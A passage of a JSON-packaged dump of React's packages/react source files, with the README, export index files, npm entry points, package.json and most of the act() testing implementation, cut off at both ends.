{\n    actualJSX = actualJSON;\n  } else if (isArray(actualJSON)) {\n    if (actualJSON.length === 0) {\n      actualJSX = null;\n    } else if (actualJSON.length === 1) {\n      actualJSX = jsonChildToJSXChild(actualJSON[0]);\n    } else {\n      const actualJSXChildren = jsonChildrenToJSXChildren(actualJSON);\n      if (actualJSXChildren === null || typeof actualJSXChildren === 'string') {\n        actualJSX = actualJSXChildren;\n      } else {\n        actualJSX = createJSXElementForTestComparison(REACT_FRAGMENT_TYPE, {\n          children: actualJSXChildren,\n        });\n      }\n    }\n  } else {\n    actualJSX = jsonChildToJSXChild(actualJSON);\n  }\n\n  return captureAssertion(() => {\n    expect(actualJSX).toEqual(expectedJSX);\n  });\n}\n\nfunction jsonChildToJSXChild(jsonChild) {\n  if (jsonChild === null || typeof jsonChild === 'string') {\n    return jsonChild;\n  } else {\n    const jsxChildren = jsonChildrenToJSXChildren(jsonChild.children);\n    return createJSXElementForTestComparison(\n      jsonChild.type,\n      jsxChildren === null\n        ? jsonChild.props\n        : {...jsonChild.props, children: jsxChildren},\n    );\n  }\n}\n\nfunction jsonChildrenToJSXChildren(jsonChildren) {\n  if (jsonChildren !== null) {\n    if (jsonChildren.length === 1) {\n      return jsonChildToJSXChild(jsonChildren[0]);\n    } else if (jsonChildren.length > 1) {\n      const jsxChildren = [];\n      let allJSXChildrenAreStrings = true;\n      let jsxChildrenString = '';\n      for (let i = 0; i < jsonChildren.length; i++) {\n        const jsxChild = jsonChildToJSXChild(jsonChildren[i]);\n        jsxChildren.push(jsxChild);\n        if (allJSXChildrenAreStrings) {\n          if (typeof jsxChild === 'string') {\n            jsxChildrenString += jsxChild;\n          } else if (jsxChild !== null) {\n            allJSXChildrenAreStrings = false;\n          }\n        }\n      }\n      return allJSXChildrenAreStrings ? jsxChildrenString : jsxChildren;\n    }\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react/README.md",
    "content": "# `react`\n\nReact is a JavaScript library for creating user interfaces.\n\nThe `react` package contains only the functionality necessary to define React components. It is typically used together with a React renderer like `react-dom` for the web, or `react-native` for the native environments.\n\n**Note:** by default, React will be in development mode. The development version includes extra warnings about common mistakes, whereas the production version includes extra performance optimizations and strips all error messages. Don't forget to use the [production build](https://reactjs.org/docs/optimizing-performance.html#use-the-production-build) when deploying your application.\n\n## Usage\n\n```js\nimport { useState } from 'react';\nimport { createRoot } from 'react-dom/client';\n\nfunction Counter() {\n  const [count, setCount] = useState(0);\n  return (\n    <>\n      <h1>{count}</h1>\n      <button onClick={() => setCount(count + 1)}>\n        Increment\n      </button>\n    </>\n  );\n}\n\nconst root = createRoot(document.getElementById('root'));\nroot.render(<Counter />);\n```\n\n## Documentation\n\nSee https://react.dev/\n\n## API\n\nSee https://react.dev/reference/react\n"
  },
  {
    "path": "packages/react/compiler-runtime.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactCompilerRuntime';\n"
  },
  {
    "path": "packages/react/index.development.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Keep in sync with https://github.com/facebook/flow/blob/main/lib/react.js\nexport type ElementType = React$ElementType;\nexport type Element<+C> = React$Element<C>;\nexport type Key = React$Key;\nexport type Node = React$Node;\nexport type Context<T> = React$Context<T>;\nexport type Portal = React$Portal;\nexport type ElementProps<C> = React$ElementProps<C>;\nexport type ElementConfig<C> = React$ElementConfig<C>;\nexport type ElementRef<C> = React$ElementRef<C>;\nexport type ChildrenArray<+T> = $ReadOnlyArray<ChildrenArray<T>> | T;\n\n// Export all exports so that they're available in tests.\n// We can't use export * from in Flow for some reason.\nexport {\n  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n  __COMPILER_RUNTIME,\n  Children,\n  Component,\n  Fragment,\n  Profiler,\n  PureComponent,\n  StrictMode,\n  Suspense,\n  cloneElement,\n  createContext,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  startTransition,\n  unstable_LegacyHidden,\n  Activity,\n  ViewTransition,\n  addTransitionType,\n  unstable_Scope,\n  unstable_SuspenseList,\n  unstable_TracingMarker,\n  unstable_getCacheForType,\n  unstable_useCacheRefresh,\n  useId,\n  useCallback,\n  useContext,\n  useDebugValue,\n  useDeferredValue,\n  useEffect,\n  useEffectEvent,\n  useImperativeHandle,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useOptimistic,\n  useSyncExternalStore,\n  useReducer,\n  useRef,\n  useState,\n  useTransition,\n  useActionState,\n  version,\n  act, // DEV-only\n  captureOwnerStack, // DEV-only\n} from './src/ReactClient';\n"
  },
  {
    "path": "packages/react/index.experimental.development.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n  __COMPILER_RUNTIME,\n  Children,\n  Component,\n  Fragment,\n  Profiler,\n  PureComponent,\n  StrictMode,\n  Suspense,\n  cloneElement,\n  createContext,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  startTransition,\n  optimisticKey,\n  Activity,\n  unstable_getCacheForType,\n  unstable_SuspenseList,\n  ViewTransition,\n  unstable_startGestureTransition,\n  addTransitionType,\n  unstable_useCacheRefresh,\n  useId,\n  useCallback,\n  useContext,\n  useDebugValue,\n  useDeferredValue,\n  useEffect,\n  useEffectEvent,\n  useImperativeHandle,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useOptimistic,\n  useReducer,\n  useRef,\n  useState,\n  useSyncExternalStore,\n  useTransition,\n  useActionState,\n  version,\n  act, // DEV-only\n  captureOwnerStack, // DEV-only\n} from './src/ReactClient';\n\nimport {useOptimistic} from './src/ReactClient';\n\nexport function experimental_useOptimistic<S, A>(\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  if (__DEV__) {\n    console.error(\n      'useOptimistic is now in canary. Remove the experimental_ prefix. ' +\n        'The prefixed alias will be removed in an upcoming release.',\n    );\n  }\n  return useOptimistic(passthrough, reducer);\n}\n"
  },
  {
    "path": "packages/react/index.experimental.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n  __COMPILER_RUNTIME,\n  Children,\n  Component,\n  Fragment,\n  Profiler,\n  PureComponent,\n  StrictMode,\n  Suspense,\n  cloneElement,\n  createContext,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  startTransition,\n  optimisticKey,\n  Activity,\n  Activity as unstable_Activity,\n  unstable_getCacheForType,\n  unstable_SuspenseList,\n  ViewTransition,\n  unstable_startGestureTransition,\n  addTransitionType,\n  unstable_useCacheRefresh,\n  useId,\n  useCallback,\n  useContext,\n  useDebugValue,\n  useDeferredValue,\n  useEffect,\n  useEffectEvent,\n  useImperativeHandle,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useOptimistic,\n  useReducer,\n  useRef,\n  useState,\n  useSyncExternalStore,\n  useTransition,\n  useActionState,\n  version,\n} from './src/ReactClient';\n\nimport {useOptimistic} from './src/ReactClient';\n\nexport function experimental_useOptimistic<S, A>(\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  if (__DEV__) {\n    console.error(\n      'useOptimistic is now in canary. Remove the experimental_ prefix. ' +\n        'The prefixed alias will be removed in an upcoming release.',\n    );\n  }\n  return useOptimistic(passthrough, reducer);\n}\n"
  },
  {
    "path": "packages/react/index.fb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {captureOwnerStack as captureOwnerStackImpl} from './src/ReactClient';\n\nexport {\n  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n  __COMPILER_RUNTIME,\n  act,\n  cache,\n  cacheSignal,\n  Children,\n  cloneElement,\n  Component,\n  createContext,\n  createElement,\n  createRef,\n  useEffectEvent as experimental_useEffectEvent,\n  useEffectEvent,\n  forwardRef,\n  Fragment,\n  isValidElement,\n  lazy,\n  memo,\n  Profiler,\n  PureComponent,\n  startTransition,\n  StrictMode,\n  Suspense,\n  Activity,\n  Activity as unstable_Activity,\n  unstable_getCacheForType,\n  unstable_LegacyHidden,\n  unstable_Scope,\n  unstable_SuspenseList,\n  ViewTransition,\n  ViewTransition as unstable_ViewTransition,\n  unstable_TracingMarker,\n  addTransitionType,\n  addTransitionType as unstable_addTransitionType,\n  unstable_useCacheRefresh,\n  use,\n  useActionState,\n  useCallback,\n  useContext,\n  useDebugValue,\n  useDeferredValue,\n  useEffect,\n  useId,\n  useImperativeHandle,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useOptimistic,\n  useReducer,\n  useRef,\n  useState,\n  useSyncExternalStore,\n  useTransition,\n  version,\n} from './src/ReactClient';\n\nexport {jsx, jsxs, jsxDEV} from './src/jsx/ReactJSX';\n\n// export for backwards compatibility during upgrade\nexport {useMemoCache as unstable_useMemoCache} from './src/ReactHooks';\n\n// export to match the name of the OSS function typically exported from\n// react/compiler-runtime\nexport {useMemoCache as c} from './src/ReactHooks';\n\n// Only export captureOwnerStack in development.\nlet captureOwnerStack: ?() => null | string;\nif (__DEV__) {\n  captureOwnerStack = captureOwnerStackImpl;\n}\n\nexport {captureOwnerStack};\n"
  },
  {
    "path": "packages/react/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Keep in sync with https://github.com/facebook/flow/blob/main/lib/react.js\nexport type ElementType = React$ElementType;\nexport type Element<+C> = React$Element<C>;\nexport type MixedElement = React$Element<ElementType>;\nexport type Key = React$Key;\nexport type Node = React$Node;\nexport type Context<T> = React$Context<T>;\nexport type Portal = React$Portal;\nexport type RefSetter<-I> = React$RefSetter<I>;\nexport type ElementProps<C> = React$ElementProps<C>;\nexport type ElementConfig<C> = React$ElementConfig<C>;\nexport type ElementRef<C> = React$ElementRef<C>;\nexport type ChildrenArray<+T> = $ReadOnlyArray<ChildrenArray<T>> | T;\n\nexport {\n  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n  __COMPILER_RUNTIME,\n  Children,\n  Component,\n  Fragment,\n  Profiler,\n  PureComponent,\n  StrictMode,\n  Suspense,\n  cloneElement,\n  createContext,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  startTransition,\n  unstable_LegacyHidden,\n  Activity,\n  unstable_Scope,\n  unstable_SuspenseList,\n  unstable_TracingMarker,\n  ViewTransition,\n  addTransitionType,\n  unstable_getCacheForType,\n  unstable_useCacheRefresh,\n  useId,\n  useCallback,\n  useContext,\n  useDebugValue,\n  useDeferredValue,\n  useEffect,\n  useEffectEvent,\n  useImperativeHandle,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useOptimistic,\n  useSyncExternalStore,\n  useReducer,\n  useRef,\n  useState,\n  useTransition,\n  useActionState,\n  version,\n} from './src/ReactClient';\n"
  },
  {
    "path": "packages/react/index.stable.development.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n  __COMPILER_RUNTIME,\n  Activity,\n  Children,\n  Component,\n  Fragment,\n  Profiler,\n  PureComponent,\n  StrictMode,\n  Suspense,\n  ViewTransition,\n  addTransitionType,\n  cloneElement,\n  createContext,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  unstable_useCacheRefresh,\n  startTransition,\n  useId,\n  useCallback,\n  useContext,\n  useDebugValue,\n  useDeferredValue,\n  useEffect,\n  useEffectEvent,\n  useImperativeHandle,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useReducer,\n  useOptimistic,\n  useRef,\n  useState,\n  useSyncExternalStore,\n  useTransition,\n  useActionState,\n  version,\n  act, // DEV-only\n  captureOwnerStack, // DEV-only\n} from './src/ReactClient';\n"
  },
  {
    "path": "packages/react/index.stable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n  __COMPILER_RUNTIME,\n  Activity,\n  Children,\n  Component,\n  Fragment,\n  Profiler,\n  PureComponent,\n  StrictMode,\n  Suspense,\n  ViewTransition,\n  addTransitionType,\n  cloneElement,\n  createContext,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  unstable_useCacheRefresh,\n  startTransition,\n  useId,\n  useCallback,\n  useContext,\n  useDebugValue,\n  useDeferredValue,\n  useEffect,\n  useEffectEvent,\n  useImperativeHandle,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useReducer,\n  useOptimistic,\n  useRef,\n  useState,\n  useSyncExternalStore,\n  useTransition,\n  useActionState,\n  version,\n} from './src/ReactClient';\n"
  },
  {
    "path": "packages/react/jsx-dev-runtime.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {Fragment, jsxDEV} from './src/jsx/ReactJSX';\n"
  },
  {
    "path": "packages/react/jsx-dev-runtime.react-server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {Fragment, jsxDEV} from './src/jsx/ReactJSXServer';\n"
  },
  {
    "path": "packages/react/jsx-runtime.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nexport {Fragment, jsx, jsxs} from './src/jsx/ReactJSX';\n"
  },
  {
    "path": "packages/react/jsx-runtime.react-server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nexport {Fragment, jsx, jsxs} from './src/jsx/ReactJSXServer';\n"
  },
  {
    "path": "packages/react/npm/compiler-runtime.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-compiler-runtime.production.js');\n} else {\n  module.exports = require('./cjs/react-compiler-runtime.development.js');\n}\n"
  },
  {
    "path": "packages/react/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react.production.js');\n} else {\n  module.exports = require('./cjs/react.development.js');\n}\n"
  },
  {
    "path": "packages/react/npm/jsx-dev-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-dev-runtime.production.js');\n} else {\n  module.exports = require('./cjs/react-jsx-dev-runtime.development.js');\n}\n"
  },
  {
    "path": "packages/react/npm/jsx-dev-runtime.react-server.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-dev-runtime.react-server.production.js');\n} else {\n  module.exports = require('./cjs/react-jsx-dev-runtime.react-server.development.js');\n}\n"
  },
  {
    "path": "packages/react/npm/jsx-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-runtime.production.js');\n} else {\n  module.exports = require('./cjs/react-jsx-runtime.development.js');\n}\n"
  },
  {
    "path": "packages/react/npm/jsx-runtime.react-server.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-runtime.react-server.production.js');\n} else {\n  module.exports = require('./cjs/react-jsx-runtime.react-server.development.js');\n}\n"
  },
  {
    "path": "packages/react/npm/react.react-server.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react.react-server.production.js');\n} else {\n  module.exports = require('./cjs/react.react-server.development.js');\n}\n"
  },
  {
    "path": "packages/react/npm/unstable-cache.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-unstable-cache.production.js');\n} else {\n  module.exports = require('./cjs/react-unstable-cache.development.js');\n}\n"
  },
  {
    "path": "packages/react/package.json",
    "content": "{\n  \"name\": \"react\",\n  \"description\": \"React is a JavaScript library for building user interfaces.\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"version\": \"19.3.0\",\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"cjs/\",\n    \"compiler-runtime.js\",\n    \"jsx-runtime.js\",\n    \"jsx-runtime.react-server.js\",\n    \"jsx-dev-runtime.js\",\n    \"jsx-dev-runtime.react-server.js\",\n    \"react.react-server.js\"\n  ],\n  \"main\": \"index.js\",\n  \"exports\": {\n    \".\": {\n      \"react-server\": \"./react.react-server.js\",\n      \"default\": \"./index.js\"\n    },\n    \"./package.json\": \"./package.json\",\n    \"./jsx-runtime\": {\n      \"react-server\": \"./jsx-runtime.react-server.js\",\n      \"default\": \"./jsx-runtime.js\"\n    },\n    \"./jsx-dev-runtime\": {\n      \"react-server\": \"./jsx-dev-runtime.react-server.js\",\n      \"default\": \"./jsx-dev-runtime.js\"\n    },\n    \"./compiler-runtime\": {\n      \"react-server\": \"./compiler-runtime.js\",\n      \"default\": \"./compiler-runtime.js\"\n    },\n    \"./src/*\": \"./src/*\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react/react.react-server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactServer';\n"
  },
  {
    "path": "packages/react/src/BadMapPolyfill.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n * @flow\n */\n\nexport let hasBadMapPolyfill: boolean;\n\nif (__DEV__) {\n  hasBadMapPolyfill = false;\n  try {\n    const frozenObject = Object.freeze({});\n    /* eslint-disable no-new */\n    new Map([[frozenObject, null]]);\n    new Set([frozenObject]);\n    /* eslint-enable no-new */\n  } catch (e) {\n    // TODO: Consider warning about bad polyfills\n    hasBadMapPolyfill = true;\n  }\n}\n"
  },
  {
    "path": "packages/react/src/ReactAct.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable} from 'shared/ReactTypes';\nimport type {RendererTask} from './ReactSharedInternalsClient';\nimport ReactSharedInternals from './ReactSharedInternalsClient';\nimport queueMacrotask from 'shared/enqueueTask';\n\nimport {disableLegacyMode} from 'shared/ReactFeatureFlags';\n\n// `act` calls can be nested, so we track the depth. This represents the\n// number of `act` scopes on the stack.\nlet actScopeDepth = 0;\n\n// We only warn the first time you neglect to await an async `act` scope.\nlet didWarnNoAwaitAct = false;\n\nfunction aggregateErrors(errors: Array<mixed>): mixed {\n  if (errors.length > 1 && typeof AggregateError === 'function') {\n    return new AggregateError(errors);\n  }\n  return errors[0];\n}\n\nexport function act<T>(callback: () => T | Thenable<T>): Thenable<T> {\n  if (__DEV__) {\n    // When ReactSharedInternals.actQueue is not null, it signals to React that\n    // we're currently inside an `act` scope. React will push all its tasks to\n    // this queue instead of scheduling them with platform APIs.\n    //\n    // We set this to an empty array when we first enter an `act` scope, and\n    // only unset it once we've left the outermost `act` scope — remember that\n    // `act` calls can be nested.\n    //\n    // If we're already inside an `act` scope, reuse the existing queue.\n    const prevIsBatchingLegacy = !disableLegacyMode\n      ? ReactSharedInternals.isBatchingLegacy\n      : false;\n    const prevActQueue = ReactSharedInternals.actQueue;\n    const prevActScopeDepth = actScopeDepth;\n    actScopeDepth++;\n    const queue = (ReactSharedInternals.actQueue =\n      prevActQueue !== null ? prevActQueue : []);\n    // Used to reproduce behavior of `batchedUpdates` in legacy mode. Only\n    // set to `true` while the given callback is executed, not for updates\n    // triggered during an async event, because this is how the legacy\n    // implementation of `act` behaved.\n    if (!disableLegacyMode) {\n      ReactSharedInternals.isBatchingLegacy = true;\n    }\n\n    let result;\n    // This tracks whether the `act` call is awaited. In certain cases, not\n    // awaiting it is a mistake, so we will detect that and warn.\n    let didAwaitActCall = false;\n    try {\n      // Reset this to `false` right before entering the React work loop. The\n      // only place we ever read this fields is just below, right after running\n      // the callback. So we don't need to reset after the callback runs.\n      if (!disableLegacyMode) {\n        ReactSharedInternals.didScheduleLegacyUpdate = false;\n      }\n      result = callback();\n      const didScheduleLegacyUpdate = !disableLegacyMode\n        ? ReactSharedInternals.didScheduleLegacyUpdate\n        : false;\n\n      // Replicate behavior of original `act` implementation in legacy mode,\n      // which flushed updates immediately after the scope function exits, even\n      // if it's an async function.\n      if (!prevIsBatchingLegacy && didScheduleLegacyUpdate) {\n        flushActQueue(queue);\n      }\n      // `isBatchingLegacy` gets reset using the regular stack, not the async\n      // one used to track `act` scopes. Why, you may be wondering? Because\n      // that's how it worked before version 18. Yes, it's confusing! We should\n      // delete legacy mode!!\n      if (!disableLegacyMode) {\n        ReactSharedInternals.isBatchingLegacy = prevIsBatchingLegacy;\n      }\n    } catch (error) {\n      // `isBatchingLegacy` gets reset using the regular stack, not the async\n      // one used to track `act` scopes. Why, you may be wondering? Because\n      // that's how it worked before version 18. Yes, it's confusing! We should\n      // delete legacy mode!!\n      ReactSharedInternals.thrownErrors.push(error);\n    }\n    if (ReactSharedInternals.thrownErrors.length > 0) {\n      if (!disableLegacyMode) {\n        ReactSharedInternals.isBatchingLegacy = prevIsBatchingLegacy;\n      }\n      popActScope(prevActQueue, prevActScopeDepth);\n      const thrownError = aggregateErrors(ReactSharedInternals.thrownErrors);\n      ReactSharedInternals.thrownErrors.length = 0;\n      throw thrownError;\n    }\n\n    if (\n      result !== null &&\n      typeof result === 'object' &&\n      // $FlowFixMe[method-unbinding]\n      typeof result.then === 'function'\n    ) {\n      // A promise/thenable was returned from the callback. Wait for it to\n      // resolve before flushing the queue.\n      //\n      // If `act` were implemented as an async function, this whole block could\n      // be a single `await` call. That's really the only difference between\n      // this branch and the next one.\n      const thenable = ((result: any): Thenable<T>);\n\n      // Warn if the an `act` call with an async scope is not awaited. In a\n      // future release, consider making this an error.\n      queueSeveralMicrotasks(() => {\n        if (!didAwaitActCall && !didWarnNoAwaitAct) {\n          didWarnNoAwaitAct = true;\n          console.error(\n            'You called act(async () => ...) without await. ' +\n              'This could lead to unexpected testing behaviour, ' +\n              'interleaving multiple act calls and mixing their ' +\n              'scopes. ' +\n              'You should - await act(async () => ...);',\n          );\n        }\n      });\n\n      return {\n        then(resolve: T => mixed, reject: mixed => mixed) {\n          didAwaitActCall = true;\n          thenable.then(\n            returnValue => {\n              popActScope(prevActQueue, prevActScopeDepth);\n              if (prevActScopeDepth === 0) {\n                // We're exiting the outermost `act` scope. Flush the queue.\n                try {\n                  flushActQueue(queue);\n                  queueMacrotask(() =>\n                    // Recursively flush tasks scheduled by a microtask.\n                    recursivelyFlushAsyncActWork(returnValue, resolve, reject),\n                  );\n                } catch (error) {\n                  // `thenable` might not be a real promise, and `flushActQueue`\n                  // might throw, so we need to wrap `flushActQueue` in a\n                  // try/catch.\n                  ReactSharedInternals.thrownErrors.push(error);\n                }\n                if (ReactSharedInternals.thrownErrors.length > 0) {\n                  const thrownError = aggregateErrors(\n                    ReactSharedInternals.thrownErrors,\n                  );\n                  ReactSharedInternals.thrownErrors.length = 0;\n                  reject(thrownError);\n                }\n              } else {\n                resolve(returnValue);\n              }\n            },\n            error => {\n              popActScope(prevActQueue, prevActScopeDepth);\n              if (ReactSharedInternals.thrownErrors.length > 0) {\n                const thrownError = aggregateErrors(\n                  ReactSharedInternals.thrownErrors,\n                );\n                ReactSharedInternals.thrownErrors.length = 0;\n                reject(thrownError);\n              } else {\n                reject(error);\n              }\n            },\n          );\n        },\n      };\n    } else {\n      const returnValue: T = (result: any);\n      // The callback is not an async function. Exit the current\n      // scope immediately.\n      popActScope(prevActQueue, prevActScopeDepth);\n      if (prevActScopeDepth === 0) {\n        // We're exiting the outermost `act` scope. Flush the queue.\n        flushActQueue(queue);\n\n        // If the queue is not empty, it implies that we intentionally yielded\n        // to the main thread, because something suspended. We will continue\n        // in an asynchronous task.\n        //\n        // Warn if something suspends but the `act` call is not awaited.\n        // In a future release, consider making this an error.\n        if (queue.length !== 0) {\n          queueSeveralMicrotasks(() => {\n            if (!didAwaitActCall && !didWarnNoAwaitAct) {\n              didWarnNoAwaitAct = true;\n              console.error(\n                'A component suspended inside an `act` scope, but the ' +\n                  '`act` call was not awaited. When testing React ' +\n                  'components that depend on asynchronous data, you must ' +\n                  'await the result:\\n\\n' +\n                  'await act(() => ...)',\n              );\n            }\n          });\n        }\n\n        // Like many things in this module, this is next part is confusing.\n        //\n        // We do not currently require every `act` call that is passed a\n        // callback to be awaited, through arguably we should. Since this\n        // callback was synchronous, we need to exit the current scope before\n        // returning.\n        //\n        // However, if thenable we're about to return *is* awaited, we'll\n        // immediately restore the current scope. So it shouldn't observable.\n        //\n        // This doesn't affect the case where the scope callback is async,\n        // because we always require those calls to be awaited.\n        //\n        // TODO: In a future version, consider always requiring all `act` calls\n        // to be awaited, regardless of whether the callback is sync or async.\n        ReactSharedInternals.actQueue = null;\n      }\n\n      if (ReactSharedInternals.thrownErrors.length > 0) {\n        const thrownError = aggregateErrors(ReactSharedInternals.thrownErrors);\n        ReactSharedInternals.thrownErrors.length = 0;\n        throw thrownError;\n      }\n\n      return {\n        then(resolve: T => mixed, reject: mixed => mixed) {\n          didAwaitActCall = true;\n          if (prevActScopeDepth === 0) {\n            // If the `act` call is awaited, restore the queue we were\n            // using before (see long comment above) so we can flush it.\n            ReactSharedInternals.actQueue = queue;\n            queueMacrotask(() =>\n              // Recursively flush tasks scheduled by a microtask.\n              recursivelyFlushAsyncActWork(returnValue, resolve, reject),\n            );\n          } else {\n            resolve(returnValue);\n          }\n        },\n      };\n    }\n  } else {\n    throw new Error('act(...) is not supported in production builds of React.');\n  }\n}\n\nfunction popActScope(\n  prevActQueue: null | Array<RendererTask>,\n  prevActScopeDepth: number,\n) {\n  if (__DEV__) {\n    if (prevActScopeDepth !== actScopeDepth - 1) {\n      console.error(\n        'You seem to have overlapping act() calls, this is not supported. ' +\n          'Be sure to await previous act() calls before making a new one. ',\n      );\n    }\n    actScopeDepth = prevActScopeDepth;\n  }\n}\n\nfunction recursivelyFlushAsyncActWork<T>(\n  returnValue: T,\n  resolve: T => mixed,\n  reject: mixed => mixed,\n) {\n  if (__DEV__) {\n    // Check if any tasks were scheduled asynchronously.\n    const queue = ReactSharedInternals.actQueue;\n    if (queue !== null) {\n      if (queue.length !== 0) {\n        // Async tasks were scheduled, mostly likely in a microtask.\n        // Keep flushing until there are no more.\n        try {\n          flushActQueue(queue);\n          // The work we just performed may have schedule additional async\n          // tasks. Wait a macrotask and check again.\n          queueMacrotask(() =>\n            recursivelyFlushAsyncActWork(returnValue, resolve, reject),\n          );\n          return;\n        } catch (error) {\n          // Leave remaining tasks on the queue if something throws.\n          ReactSharedInternals.thrownErrors.push(error);\n        }\n      } else {\n        // The queue is empty. We can finish.\n        ReactSharedInternals.actQueue = null;\n      }\n    }\n    if (ReactSharedInternals.thrownErrors.length > 0) {\n      const thrownError = aggregateErrors(ReactSharedInternals.thrownErrors);\n      ReactSharedInternals.thrownErrors.length = 0;\n      reject(thrownError);\n    } else {\n      resolve(returnValue);\n    }\n  }\n}\n\nlet isFlushing = false;\nfunction flushActQueue(queue: Array<RendererTask>) {\n  if (__DEV__) 